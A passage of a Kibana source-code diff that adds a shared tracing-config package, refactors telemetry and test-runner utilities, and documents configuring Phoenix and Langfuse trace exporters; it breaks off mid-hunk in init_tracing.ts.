a/src/platform/packages/shared/kbn-opentelemetry-utils/src/unflatten_attributes.ts b/src/platform/packages/shared/kbn-opentelemetry-utils/src/unflatten_attributes.ts new file mode 100644 index 0000000000000..086112209dad2 --- /dev/null +++ b/src/platform/packages/shared/kbn-opentelemetry-utils/src/unflatten_attributes.ts @@ -0,0 +1,31 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the "Elastic License + * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side + * Public License v 1"; you may not use this file except in compliance with, at + * your election, the "Elastic License 2.0", the "GNU Affero General Public + * License v3.0 only", or the "Server Side Public License, v 1". + */ + +import { set } from '@kbn/safer-lodash-set'; +import { AttributeValue } from '@opentelemetry/api'; + +/** + * Unflattens attributes, according to the flattening heuristic + * in flattenToAttributes. + */ + +export function unflattenAttributes( + flat: Record +): Record { + const result: Record = {}; + + for (const key in flat) { + if (Object.hasOwn(flat, key)) { + // split on dot; numeric segments cause array creation + set(result, key.split('.'), flat[key]); + } + } + + return result; +} diff --git a/src/platform/packages/shared/kbn-opentelemetry-utils/tsconfig.json b/src/platform/packages/shared/kbn-opentelemetry-utils/tsconfig.json new file mode 100644 index 0000000000000..5b60e8f575ac7 --- /dev/null +++ b/src/platform/packages/shared/kbn-opentelemetry-utils/tsconfig.json @@ -0,0 +1,19 @@ +{ + "extends": "../../../../../tsconfig.base.json", + "compilerOptions": { + "outDir": "target/types", + "types": [ + "jest", + "node" + ] + }, + "include": [ + "**/*.ts", + ], + "exclude": [ + "target/**/*" + ], + "kbn_references": [ + "@kbn/safer-lodash-set", + ] +} diff --git a/src/platform/packages/shared/kbn-restorable-state/src/restorable_state_provider.tsx b/src/platform/packages/shared/kbn-restorable-state/src/restorable_state_provider.tsx index cba05287f6430..28f812516e6a4 100644 --- a/src/platform/packages/shared/kbn-restorable-state/src/restorable_state_provider.tsx +++ b/src/platform/packages/shared/kbn-restorable-state/src/restorable_state_provider.tsx @@ -19,6 +19,7 @@ import React, { Dispatch, useMemo, useEffect, + type ComponentProps, } from 'react'; import useLatest from 'react-use/lib/useLatest'; import useUnmount from 'react-use/lib/useUnmount'; @@ -94,20 +95,27 @@ export const createRestorableStateProvider = () => { return {children}; }); - const withRestorableState = (Component: React.ComponentType) => - forwardRef>( - function RestorableStateProviderHOC({ initialState, onInitialStateChange, ...props }, ref) { - return ( - - - - ); - } - ); + const withRestorableState = >( + Component: TComponent + ) => { + const ComponentMemoized = React.memo(Component); + type TProps = ComponentProps; + + return forwardRef< + RestorableStateProviderApi, + TProps & Pick, 'initialState' | 'onInitialStateChange'> + >(function RestorableStateProviderHOC({ initialState, onInitialStateChange, ...props }, ref) { + return ( + + + + ); + }); + }; const getInitialValue = ( initialState: Partial | undefined, diff --git a/src/platform/packages/shared/kbn-rule-data-utils/src/alerts_as_data_rbac.ts b/src/platform/packages/shared/kbn-rule-data-utils/src/alerts_as_data_rbac.ts index bbe5ab0def038..6cd2cd9b59c14 100644 --- a/src/platform/packages/shared/kbn-rule-data-utils/src/alerts_as_data_rbac.ts +++ b/src/platform/packages/shared/kbn-rule-data-utils/src/alerts_as_data_rbac.ts @@ -9,6 +9,7 @@ import type { estypes } from '@elastic/elasticsearch'; import type { EsQueryConfig } from '@kbn/es-query'; +import { ATTACK_DISCOVERY_SCHEDULES_ALERT_TYPE_ID } from '@kbn/elastic-assistant-common'; /** * registering a new instance of the rule data client @@ -103,4 +104,4 @@ export const getEsQueryConfig = (params?: GetEsQueryConfigParamType): EsQueryCon *in the codebase. */ export const isSiemRuleType = (ruleTypeId: string) => - ruleTypeId.startsWith('siem.') || ruleTypeId === 'attack-discovery'; + ruleTypeId.startsWith('siem.') || ruleTypeId === ATTACK_DISCOVERY_SCHEDULES_ALERT_TYPE_ID; diff --git a/src/platform/packages/shared/kbn-rule-data-utils/tsconfig.json b/src/platform/packages/shared/kbn-rule-data-utils/tsconfig.json index 536c1110ab3e3..4d49858dc7c4f 100644 --- a/src/platform/packages/shared/kbn-rule-data-utils/tsconfig.json +++ b/src/platform/packages/shared/kbn-rule-data-utils/tsconfig.json @@ -12,6 +12,7 @@ ], "kbn_references": [ "@kbn/es-query", + "@kbn/elastic-assistant-common", ], "exclude": [ "target/**/*", diff --git a/src/platform/packages/shared/kbn-saved-search-component/src/components/saved_search.tsx b/src/platform/packages/shared/kbn-saved-search-component/src/components/saved_search.tsx index 59241ea24f147..48eb65f102bf7 100644 --- a/src/platform/packages/shared/kbn-saved-search-component/src/components/saved_search.tsx +++ b/src/platform/packages/shared/kbn-saved-search-component/src/components/saved_search.tsx @@ -9,7 +9,7 @@ import React, { useEffect, useMemo, useRef, useState } from 'react'; import { EmbeddableRenderer } from '@kbn/embeddable-plugin/public'; -import { SEARCH_EMBEDDABLE_TYPE } from '@kbn/discover-utils'; +import { SEARCH_EMBEDDABLE_TYPE, getDefaultSort } from '@kbn/discover-utils'; import type { SearchEmbeddableSerializedState, SearchEmbeddableApi, @@ -17,6 +17,7 @@ import type { import { SerializedPanelState } from '@kbn/presentation-publishing'; import { css } from '@emotion/react'; import { SavedSearchAttributes } from '@kbn/saved-search-plugin/common'; +import { isOfAggregateQueryType } from '@kbn/es-query'; import { SavedSearchComponentProps } from '../types'; import { SavedSearchComponentErrorContent } from './error'; @@ -72,6 +73,7 @@ export const SavedSearchComponent: React.FC = (props) searchSourceJSON, }, columns, + sort: getDefaultSort(dataView, undefined, undefined, isOfAggregateQueryType(query)), }; setInitialSerializedState({ rawState: { diff --git a/src/platform/packages/shared/kbn-scout/src/cli/index.ts b/src/platform/packages/shared/kbn-scout/src/cli/index.ts index e9db56cccf41b..d224718d595b9 100644 --- a/src/platform/packages/shared/kbn-scout/src/cli/index.ts +++ b/src/platform/packages/shared/kbn-scout/src/cli/index.ts @@ -10,6 +10,7 @@ import { RunWithCommands } from '@kbn/dev-cli-runner'; import { cli as reportingCLI } from '@kbn/scout-reporting'; import { startServerCmd } from './start_server'; import { runTestsCmd } from './run_tests'; +import { runPlaywrightTestCheckCmd } from './run_playwright_test_check'; import { discoverPlaywrightConfigsCmd } from './config_discovery'; import { createTestTrack } from './create_test_track'; @@ -21,6 +22,7 @@ export async function run() { [ startServerCmd, runTestsCmd, + runPlaywrightTestCheckCmd, discoverPlaywrightConfigsCmd, reportingCLI.initializeReportDatastream, reportingCLI.uploadEvents, diff --git a/src/platform/packages/shared/kbn-scout/src/cli/run_playwright_test_check.ts b/src/platform/packages/shared/kbn-scout/src/cli/run_playwright_test_check.ts new file mode 100644 index 0000000000000..762746d78c3bb --- /dev/null +++ b/src/platform/packages/shared/kbn-scout/src/cli/run_playwright_test_check.ts @@ -0,0 +1,32 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the "Elastic License + * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side + * Public License v 1"; you may not use this file except in compliance with, at + * your election, the "Elastic License 2.0", the "GNU Affero General Public + * License v3.0 only", or the "Server Side Public License, v 1". + */ + +import { Command } from '@kbn/dev-cli-runner'; +import { ToolingLog } from '@kbn/tooling-log'; +import { runPlaywrightTestCheck } from '../playwright/runner'; + +export const runScoutPlaywrightConfig = async (log: ToolingLog) => { + await runPlaywrightTestCheck(log); +}; + +/** + * Validates that the Playwright 'test' command can run successfully + */ +export const runPlaywrightTestCheckCmd: Command = { + name: 'run-playwright-test-check', + description: ` + Run a Playwright test command check. + + Common usage: + node scripts/scout run-playwright-test-check + `, + run: async ({ log }) => { + await runScoutPlaywrightConfig(log); + }, +}; diff --git a/src/platform/packages/shared/kbn-scout/src/playwright/runner/index.ts b/src/platform/packages/shared/kbn-scout/src/playwright/runner/index.ts index 2e24f2d2d3039..1be4384214e9b 100644 --- a/src/platform/packages/shared/kbn-scout/src/playwright/runner/index.ts +++ b/src/platform/packages/shared/kbn-scout/src/playwright/runner/index.ts @@ -7,6 +7,6 @@ * License v3.0 only", or the "Server Side Public License, v 1". */ -export { runTests } from './run_tests'; +export { runTests, runPlaywrightTestCheck } from './run_tests'; export { parseTestFlags, TEST_FLAG_OPTIONS } from './flags'; export type { RunTestsOptions } from './flags'; diff --git a/src/platform/packages/shared/kbn-scout/src/playwright/runner/run_tests.test.ts b/src/platform/packages/shared/kbn-scout/src/playwright/runner/run_tests.test.ts index 6e38262ad16e5..dfbe6bc98e3be 100644 --- a/src/platform/packages/shared/kbn-scout/src/playwright/runner/run_tests.test.ts +++ b/src/platform/packages/shared/kbn-scout/src/playwright/runner/run_tests.test.ts @@ -32,7 +32,7 @@ describe('hasTestsInPlaywrightConfig', () => { jest.resetAllMocks(); }); - it('should log the last line of stdout when tests are found', async () => { + it(`should log the last line of stdout when tests are found and return '0'`, async () => { execPromiseMock.mockImplementationOnce(() => Promise.resolve({ stdout: 'Listing tests:\n[local] > spec.ts > Suite > Test\nTotal: 1 test in 1 file\n', @@ -40,7 +40,7 @@ describe('hasTestsInPlaywrightConfig', () => { }) ); - const result = await hasTestsInPlaywrightConfig( + const exitCode = await hasTestsInPlaywrightConfig( mockLog, 'playwright', ['test pwArgs'], @@ -53,13 +53,13 @@ describe('hasTestsInPlaywrightConfig', () => { expect(mockLog.info).toHaveBeenCalledTimes(2); expect(mockLog.info).toHaveBeenNthCalledWith(1, 'scout: Validate Playwright config has tests'); expect(mockLog.info).toHaveBeenNthCalledWith(2, 'scout: Total: 1 test in 1 file'); - expect(result).toEqual(true); + expect(exitCode).toEqual(0); }); - it('should log an error and return false when no tests are found', async () => { - execPromiseMock.mockRejectedValueOnce(new Error('Command failed')); + it(`should log an error and return '2' when no tests are found`, async () => { + execPromiseMock.mockRejectedValueOnce(new Error('No tests found')); - const result = await hasTestsInPlaywrightConfig( + const exitCode = await hasTestsInPlaywrightConfig( mockLog, 'playwright', ['test pwArgs'], @@ -70,6 +70,40 @@ describe('hasTestsInPlaywrightConfig', () => { expect(mockLog.error).toHaveBeenCalledWith( 'scout: No tests found in [configPath/playwright.config.ts]' ); - expect(result).toEqual(false); + expect(exitCode).toEqual(2); + }); + + it(`should log an error and return '1' when test command throws error`, async () => { + execPromiseMock.mockRejectedValueOnce(new Error(`unknown command 'test'`)); + + const exitCode = await hasTestsInPlaywrightConfig( + mockLog, + 'playwright', + ['test pwArgs'], + 'configPath/playwright.config.ts' + ); + + expect(mockLog.info).toHaveBeenCalledWith('scout: Validate Playwright config has tests'); + expect(mockLog.error).toHaveBeenCalledWith( + expect.stringMatching(/^scout: Playwright CLI is probably broken\./) + ); + expect(exitCode).toEqual(1); + }); + + it(`should log an error and return '1' when unknown error occurs`, async () => { + execPromiseMock.mockRejectedValueOnce(new Error(`unknown error`)); + + const exitCode = await hasTestsInPlaywrightConfig( + mockLog, + 'playwright', + ['test pwArgs'], + 'configPath/playwright.config.ts' + ); + + expect(mockLog.info).toHaveBeenCalledWith('scout: Validate Playwright config has tests'); + expect(mockLog.error).toHaveBeenCalledWith( + expect.stringMatching(/^scout: Unknown error occurred\./) + ); + expect(exitCode).toEqual(1); }); }); diff --git a/src/platform/packages/shared/kbn-scout/src/playwright/runner/run_tests.ts b/src/platform/packages/shared/kbn-scout/src/playwright/runner/run_tests.ts index ce50ad7d9d8eb..ba103e9dce470 100644 --- a/src/platform/packages/shared/kbn-scout/src/playwright/runner/run_tests.ts +++ b/src/platform/packages/shared/kbn-scout/src/playwright/runner/run_tests.ts @@ -48,20 +48,32 @@ export async function hasTestsInPlaywrightConfig( cmd: string, cmdArgs: string[], configPath: string -): Promise { +): Promise { log.info(`scout: Validate Playwright config has tests`); try { - const validationCmd = `SCOUT_REPORTER_ENABLED=false ${cmd} ${cmdArgs.join(' ')} --list`; + const validationCmd = ['SCOUT_REPORTER_ENABLED=false', cmd, ...cmdArgs, '--list'].join(' '); log.debug(`scout: running '${validationCmd}'`); const result = await execPromise(validationCmd); const lastLine = result.stdout.trim().split('\n').pop() || ''; log.info(`scout: ${lastLine}`); - return true; // success + return 0; // success } catch (err) { - log.error(`scout: No tests found in [${configPath}]`); - return false; // failure + const errorMessage = (err as Error).message || String(err); + + if (errorMessage.includes('No tests found')) { + log.error(`scout: No tests found in [${configPath}]`); + return 2; // "no tests" code, no hard failure on CI + } + + if (errorMessage.includes(`unknown command 'test'`)) { + log.error(`scout: Playwright CLI is probably broken.\n${errorMessage}`); + return 1; + } + + log.error(`scout: Unknown error occurred.\n${errorMessage}`); + return 1; } } @@ -132,10 +144,10 @@ export async function runTests(log: ToolingLog, options: RunTestsOptions) { ]; await withProcRunner(log, async (procs) => { - const hasTests = await hasTestsInPlaywrightConfig(log, pwBinPath, pwCmdArgs, pwConfigPath); + const exitCode = await hasTestsInPlaywrightConfig(log, pwBinPath, pwCmdArgs, pwConfigPath); - if (!hasTests) { - process.exit(2); // code "2" means no tests found + if (exitCode !== 0) { + process.exit(exitCode); } if (pwProject === 'local') { @@ -150,3 +162,24 @@ export async function runTests(log: ToolingLog, options: RunTestsOptions) { }); }); } + +export async function runPlaywrightTestCheck(log: ToolingLog) { + const runStartTime = Date.now(); + const reportTime = getTimeReporter(log, 'scripts/scout run-playwright-test-check'); + log.info(`scout: Validate 'playwright test' command can run successfully`); + + const pwBinPath = resolve(REPO_ROOT, './node_modules/.bin/playwright'); + const pwCmdArgs = [ + 'test', + `--config=x-pack/platform/plugins/private/discover_enhanced/ui_tests/playwright.config.ts`, + `--list`, + ]; + + await withProcRunner(log, async (procs) => { + await runPlaywrightTest(procs, pwBinPath, pwCmdArgs); + + reportTime(runStartTime, 'ready', { + success: true, + }); + }); +} diff --git a/src/platform/packages/shared/kbn-securitysolution-ecs/.eslintrc.js b/src/platform/packages/shared/kbn-securitysolution-ecs/.eslintrc.js index afb13402e4639..cd5b95e098a88 100644 --- a/src/platform/packages/shared/kbn-securitysolution-ecs/.eslintrc.js +++ b/src/platform/packages/shared/kbn-securitysolution-ecs/.eslintrc.js @@ -70,19 +70,24 @@ // eslint-disable-next-line import/no-nodejs-modules const path = require('path'); +const { execSync } = require('child_process'); + const minimatch = require('minimatch'); /** @type {Array.} */ -const RESTRICTED_IMPORTS = [ +const RESTRICTED_IMPORTS_PATHS = [ { name: 'enzyme', message: 'Please use @testing-library/react instead', }, ]; -// root directory of the project dynamically calculated -const ROOT_DIR = process.cwd(); -const ROOT_CLIMB_STRING = path.relative(__dirname, ROOT_DIR); // e.g. ../../../../.. +const ROOT_DIR = execSync('git rev-parse --show-toplevel', { + encoding: 'utf8', + cwd: __dirname, +}).trim(); + +const ROOT_CLIMB_STRING = path.relative(__dirname, ROOT_DIR); // i.e. '../../..' /** @type {import('eslint').Linter.Config} */ const rootConfig = require(`${ROOT_CLIMB_STRING}/.eslintrc`); // eslint-disable-line import/no-dynamic-require @@ -116,7 +121,7 @@ for (const override of overridesWithNoRestrictedImportRule) { // Dynamic duplicates removal for all restricted imports const existingPaths = modernConfig.paths.filter( (existing) => - !RESTRICTED_IMPORTS.some((restriction) => + !RESTRICTED_IMPORTS_PATHS.some((restriction) => typeof existing === 'string' ? existing === restriction.name : existing.name === restriction.name @@ -127,7 +132,7 @@ for (const override of overridesWithNoRestrictedImportRule) { const newRuleConfig = [ severity, { - paths: [...existingPaths, ...RESTRICTED_IMPORTS], + paths: [...existingPaths, ...RESTRICTED_IMPORTS_PATHS], patterns: modernConfig.patterns, }, ]; diff --git a/src/platform/packages/shared/kbn-storybook/src/lib/default_config.ts b/src/platform/packages/shared/kbn-storybook/src/lib/default_config.ts index e1a3f995ff99c..79cc2a388ecd7 100644 --- a/src/platform/packages/shared/kbn-storybook/src/lib/default_config.ts +++ b/src/platform/packages/shared/kbn-storybook/src/lib/default_config.ts @@ -20,7 +20,7 @@ import { REPO_ROOT } from './constants'; import { default as WebpackConfig } from '../webpack.config'; const MOCKS_DIRECTORY = '__storybook_mocks__'; -const EXTENSIONS = ['.ts', '.js']; +const EXTENSIONS = ['.ts', '.js', '.tsx']; /* * false is a valid option for typescript.reactDocgen, diff --git a/src/platform/packages/shared/kbn-telemetry-config/index.ts b/src/platform/packages/shared/kbn-telemetry-config/index.ts index af827a1ecf767..686fe3d749afe 100644 --- a/src/platform/packages/shared/kbn-telemetry-config/index.ts +++ b/src/platform/packages/shared/kbn-telemetry-config/index.ts @@ -8,4 +8,4 @@ */ export { telemetryTracingSchema } from './src/config_schema'; -export type { TelemetryConfig, TracingConfig } from './src/types'; +export type { TelemetryConfig } from './src/types'; diff --git a/src/platform/packages/shared/kbn-telemetry-config/src/config_schema.ts b/src/platform/packages/shared/kbn-telemetry-config/src/config_schema.ts index 9fe83529dbb43..b111ec986bfee 100644 --- a/src/platform/packages/shared/kbn-telemetry-config/src/config_schema.ts +++ b/src/platform/packages/shared/kbn-telemetry-config/src/config_schema.ts @@ -6,13 +6,6 @@ * your election, the "Elastic License 2.0", the "GNU Affero General Public * License v3.0 only", or the "Server Side Public License, v 1". */ -import { Type, schema } from '@kbn/config-schema'; -import { TracingConfig } from './types'; +import { tracingConfigSchema } from '@kbn/tracing-config'; -/** - * The tracing config schema that is exposed by the Telemetry plugin. - */ -export const telemetryTracingSchema: Type = schema.object({ - enabled: schema.maybe(schema.boolean()), - sample_rate: schema.number({ defaultValue: 1, min: 0, max: 1 }), -}); +export const telemetryTracingSchema = tracingConfigSchema; diff --git a/src/platform/packages/shared/kbn-telemetry-config/src/types.ts b/src/platform/packages/shared/kbn-telemetry-config/src/types.ts index c5d74399c3265..0e23462707cfb 100644 --- a/src/platform/packages/shared/kbn-telemetry-config/src/types.ts +++ b/src/platform/packages/shared/kbn-telemetry-config/src/types.ts @@ -6,6 +6,7 @@ * your election, the "Elastic License 2.0", the "GNU Affero General Public * License v3.0 only", or the "Server Side Public License, v 1". */ +import { TracingConfig } from '@kbn/tracing-config'; /** * Configuration for OpenTelemetry @@ -20,18 +21,3 @@ export interface TelemetryConfig { */ enabled?: boolean; } - -/** - * Configuration for OpenTelemetry tracing - */ -export interface TracingConfig { - /** - * Whether OpenTelemetry tracing is enabled. - */ - enabled?: boolean; - /** - * At which rate spans get sampled if a sampling decision - * needs to be made. Should be between 0-1. - */ - sample_rate: number; -} diff --git a/src/platform/packages/shared/kbn-telemetry-config/tsconfig.json b/src/platform/packages/shared/kbn-telemetry-config/tsconfig.json index 774306f0cf3ca..1814bd9ac1606 100644 --- a/src/platform/packages/shared/kbn-telemetry-config/tsconfig.json +++ b/src/platform/packages/shared/kbn-telemetry-config/tsconfig.json @@ -14,6 +14,6 @@ "target/**/*" ], "kbn_references": [ - "@kbn/config-schema", + "@kbn/tracing-config", ] } diff --git a/src/platform/packages/shared/kbn-traced-es-client/src/create_traced_es_client.ts b/src/platform/packages/shared/kbn-traced-es-client/src/create_traced_es_client.ts index 1c95770a72510..2c309467d5197 100644 --- a/src/platform/packages/shared/kbn-traced-es-client/src/create_traced_es_client.ts +++ b/src/platform/packages/shared/kbn-traced-es-client/src/create_traced_es_client.ts @@ -13,7 +13,6 @@ import type { FieldCapsResponse, MsearchRequest, ScalarValue, - SearchResponse, } from '@elastic/elasticsearch/lib/api/types'; import { withSpan } from '@kbn/apm-utils'; import type { ElasticsearchClient, Logger } from '@kbn/core/server'; @@ -85,11 +84,13 @@ export interface TracedElasticsearchClient { operationName: string, parameters: TSearchRequest ): Promise>; - msearch( + msearch( operationName: string, - parameters: MsearchRequest + parameters: TSearchRequest ): Promise<{ - responses: Array>; + responses: Array< + InferSearchResponseOf + >; }>; fieldCaps( operationName: string, @@ -200,10 +201,15 @@ export function createTracedEsClient({ >; }); }, - msearch(operationName: string, parameters: MsearchRequest) { + msearch( + operationName: string, + parameters: TSearchRequest + ) { return callWithLogger(operationName, parameters, () => { return client.msearch(parameters) as unknown as Promise<{ - responses: Array>; + responses: Array< + InferSearchResponseOf + >; }>; }); }, diff --git a/src/platform/packages/shared/kbn-tracing-config/README.md b/src/platform/packages/shared/kbn-tracing-config/README.md new file mode 100644 index 0000000000000..16feb62ed8d1e --- /dev/null +++ b/src/platform/packages/shared/kbn-tracing-config/README.md @@ -0,0 +1,3 @@ +# @kbn/tracing-config + +Contains tracing configuration schemas and types for our OpenTelemetry instrumentation. diff --git a/src/platform/packages/shared/kbn-tracing-config/index.ts b/src/platform/packages/shared/kbn-tracing-config/index.ts new file mode 100644 index 0000000000000..9caba9abef02a --- /dev/null +++ b/src/platform/packages/shared/kbn-tracing-config/index.ts @@ -0,0 +1,11 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the "Elastic License + * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side + * Public License v 1"; you may not use this file except in compliance with, at + * your election, the "Elastic License 2.0", the "GNU Affero General Public + * License v3.0 only", or the "Server Side Public License, v 1". + */ + +export type { TracingConfig, TracingExporterConfig } from './src/types'; +export { tracingConfigSchema } from './src/schema'; diff --git a/src/platform/packages/shared/kbn-tracing-config/jest.config.js b/src/platform/packages/shared/kbn-tracing-config/jest.config.js new file mode 100644 index 0000000000000..783bff07f7849 --- /dev/null +++ b/src/platform/packages/shared/kbn-tracing-config/jest.config.js @@ -0,0 +1,14 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the "Elastic License + * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side + * Public License v 1"; you may not use this file except in compliance with, at + * your election, the "Elastic License 2.0", the "GNU Affero General Public + * License v3.0 only", or the "Server Side Public License, v 1". + */ + +module.exports = { + preset: '@kbn/test/jest_node', + rootDir: '../../../../..', + roots: ['/src/platform/packages/shared/kbn-tracing-config'], +}; diff --git a/src/platform/packages/shared/kbn-tracing-config/kibana.jsonc b/src/platform/packages/shared/kbn-tracing-config/kibana.jsonc new file mode 100644 index 0000000000000..3b6e88068c345 --- /dev/null +++ b/src/platform/packages/shared/kbn-tracing-config/kibana.jsonc @@ -0,0 +1,7 @@ +{ + "type": "shared-common", + "id": "@kbn/tracing-config", + "owner": "@elastic/kibana-core", + "group": "platform", + "visibility": "shared" +} diff --git a/src/platform/packages/shared/kbn-tracing-config/package.json b/src/platform/packages/shared/kbn-tracing-config/package.json new file mode 100644 index 0000000000000..9acd4cbedc6c2 --- /dev/null +++ b/src/platform/packages/shared/kbn-tracing-config/package.json @@ -0,0 +1,6 @@ +{ + "name": "@kbn/tracing-config", + "private": true, + "version": "1.0.0", + "license": "Elastic License 2.0 OR AGPL-3.0-only OR SSPL-1.0" +} \ No newline at end of file diff --git a/src/platform/packages/shared/kbn-tracing-config/src/schema.ts b/src/platform/packages/shared/kbn-tracing-config/src/schema.ts new file mode 100644 index 0000000000000..fc039d51841f3 --- /dev/null +++ b/src/platform/packages/shared/kbn-tracing-config/src/schema.ts @@ -0,0 +1,25 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the "Elastic License + * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side + * Public License v 1"; you may not use this file except in compliance with, at + * your election, the "Elastic License 2.0", the "GNU Affero General Public + * License v3.0 only", or the "Server Side Public License, v 1". + */ +import { Type, schema } from '@kbn/config-schema'; +import { inferenceTracingExportConfigSchema } from '@kbn/inference-tracing-config'; +import { TracingConfig } from './types'; + +/** + * The tracing config schema that is exposed by the Telemetry plugin. + */ +export const tracingConfigSchema: Type = schema.object({ + enabled: schema.maybe(schema.boolean()), + sample_rate: schema.number({ defaultValue: 1, min: 0, max: 1 }), + exporters: schema.maybe( + schema.oneOf([ + inferenceTracingExportConfigSchema, + schema.arrayOf(inferenceTracingExportConfigSchema), + ]) + ), +}); diff --git a/src/platform/packages/shared/kbn-tracing-config/src/types.ts b/src/platform/packages/shared/kbn-tracing-config/src/types.ts new file mode 100644 index 0000000000000..6bb600fe6feb8 --- /dev/null +++ b/src/platform/packages/shared/kbn-tracing-config/src/types.ts @@ -0,0 +1,33 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the "Elastic License + * 2.0", the "GNU Affero General Public License v3.0 only", and the "Server Side + * Public License v 1"; you may not use this file except in compliance with, at + * your election, the "Elastic License 2.0", the "GNU Affero General Public + * License v3.0 only", or the "Server Side Public License, v 1". + */ + +import { InferenceTracingExportConfig } from '@kbn/inference-tracing-config'; + +/** + * Allowed configurations for OTLP tracing exporters + */ +export type TracingExporterConfig = InferenceTracingExportConfig; +/** + * Configuration for OpenTelemetry tracing + */ +export interface TracingConfig { + /** + * Whether OpenTelemetry tracing is enabled. + */ + enabled?: boolean; + /** + * At which rate spans get sampled if a sampling decision + * needs to be made. Should be between 0-1. + */ + sample_rate: number; + /** + * OTLP exporters for tracing data + */ + exporters?: TracingExporterConfig | TracingExporterConfig[]; +} diff --git a/src/platform/packages/shared/kbn-tracing-config/tsconfig.json b/src/platform/packages/shared/kbn-tracing-config/tsconfig.json new file mode 100644 index 0000000000000..2ed2ee24bca73 --- /dev/null +++ b/src/platform/packages/shared/kbn-tracing-config/tsconfig.json @@ -0,0 +1,20 @@ +{ + "extends": "../../../../../tsconfig.base.json", + "compilerOptions": { + "outDir": "target/types", + "types": [ + "jest", + "node" + ] + }, + "include": [ + "**/*.ts", + ], + "exclude": [ + "target/**/*" + ], + "kbn_references": [ + "@kbn/config-schema", + "@kbn/inference-tracing-config", + ] +} diff --git a/src/platform/packages/shared/kbn-tracing/README.md b/src/platform/packages/shared/kbn-tracing/README.md index 5a2a0811dc0c1..8dc9b4d1d704c 100644 --- a/src/platform/packages/shared/kbn-tracing/README.md +++ b/src/platform/packages/shared/kbn-tracing/README.md @@ -1,3 +1,54 @@ # @kbn/tracing -Contains OpenTelemetry tracing init functions and utilities. +OpenTelemetry tracing bootstrap for Kibana Node processes. + +`initTracing()` wires up the global `NodeTracerProvider`, sampling, context propagation and registers inference-tracing exporters (Phoenix / Langfuse) when configured in `kibana.yml`. OpenTelemetry tracing is disabled by default and should not be enabled in conjuction with Elastic APM. + +--- + +## 1. Configure tracing in `kibana.yml` + +```yaml +# Sample 20 % of root spans (fallback when no parent span exists) +telemetry.tracing.sample_rate: 0.2 + +# One or more exporters +telemetry.tracing.exporters: + # Phoenix exporter + - phoenix: + base_url: 'https://api.phoenix.dev' + public_url: 'https://app.phoenix.dev' # optional, used for UI links + project_name: 'my-project' # optional, defaults to first project + api_key: '${PHOENIX_API_KEY}' # optional, Bearer token + scheduled_delay: 2000 # flush interval (ms) + + # Langfuse exporter + - langfuse: + base_url: 'https://app.langfuse.com' # both API + UI + public_key: '${LANGFUSE_PUBLIC_KEY}' + secret_key: '${LANGFUSE_SECRET_KEY}' + scheduled_delay: 2000 +``` + +The YAML follows the schema exported from `@kbn/inference-tracing-config`: + +- `InferenceTracingPhoenixExportConfig` +- `InferenceTracingLangfuseExportConfig` + +See those types for a full list of allowed fields. + +--- + +## 2. What happens at runtime? + +1. `src/cli/apm.js` calls `initTracing()` early in process start-up. +2. `initTracing()` + - installs `AsyncLocalStorage` context management, + - applies the configured sample rate (parent-based), + - adds a `LateBindingSpanProcessor` so exporters can be registered later, + - creates a `NodeTracerProvider` with resource attributes derived from the Elastic APM config, + - for each entry under `telemetry.tracing.exporters` instantiates the corresponding span processor from `@kbn/inference-tracing` and registers it. + +After this, any code using the helpers from `@kbn/inference-tracing` (`withInferenceSpan`, `withChatCompleteSpan`, …) will produce spans that are forwarded to Phoenix / Langfuse. + +No additional application code is needed—configuration alone enables exporting. diff --git a/src/platform/packages/shared/kbn-tracing/src/init_tracing.ts b/src/platform/packages/shared/kbn-tracing/src/init_tracing.ts index 93739395078d9..29f8f42800046 100644 --- a/src/platform/packages/shared/kbn-tracing/src/init_tracing.ts +++ b/src/platform/packages/shared/kbn-tracing/src/init_tracing.ts @@ -6,22 +6,27 @@ * your election, the "Elastic License 2.0", the "GNU Affero General Public * License v3.0 only", or the "Server Side Public License, v 1". */ +import { LangfuseSpanProcessor, PhoenixSpanProcessor } from '@kbn/inference-tracing'; +import { fromExternalVariant } from '@kbn/std'; +import { TracingConfig } from '@kbn/tracing-config'; import { context, propagation, trace } from '@opentelemetry/api'; import { AsyncLocalStorageContextManager } from '@opentelemetry/context-async-hooks'; -import { resourceFromAttributes } from '@opentelemetry/resources'; -import { - NodeTracerProvider, - ParentBasedSampler, - TraceIdRatioBasedSampler, -} from '@opentelemetry/sdk-trace-node'; -import { ATTR_SERVICE_NAME, ATTR_SERVICE_VERSION } from '@opentelemetry/semantic-conventions'; -import { TracingConfig } from '@kbn/telemetry-config'; -import { AgentConfigOptions } from 'elastic-apm-node'; import { CompositePropagator, W3CBaggagePropagator, W3CTraceContextPropagator, } from '@opentelemetry/core'; +import { + NodeTracerProvider, + ParentBasedSampler, + SpanProcessor, + TraceIdRatioBasedSampler, +} from '@opentelemetry/sdk-trace-node'; +import type { AgentConfigOptions } from 'elastic-apm-node'; +import { castArray, once } from 'lodash'; +import { resourceFromAttributes } from '@opentelemetry/resources'; +import { ATTR_SERVICE_INSTANCE_ID, ATTR_SERVICE_NAMESPACE } from '@kbn/opentelemetry-attributes'; +import { ATTR_SERVICE_NAME } from '@opentelemetry/semantic-conventions'; import { LateBindingSpanProcessor } from '..'; export function initTracing({ @@ -29,14 +34,28 @@ export function initTracing({ apmConfig, }: { tracingConfig?: TracingConfig; - apmConfig: AgentConfigOptions; + apmConfig?: AgentConfigOptions; }) { const contextManager = new AsyncLocalStorageContextManager(); context.setGlobalContextManager(contextManager); contextManager.enable(); + const resource = resourceFromAttributes({ + [ATTR_SERVICE_NAME]: apmConfig?.serviceName, + [ATTR_SERVICE_INSTANCE_ID]: apmConfig?.serviceNodeName, + 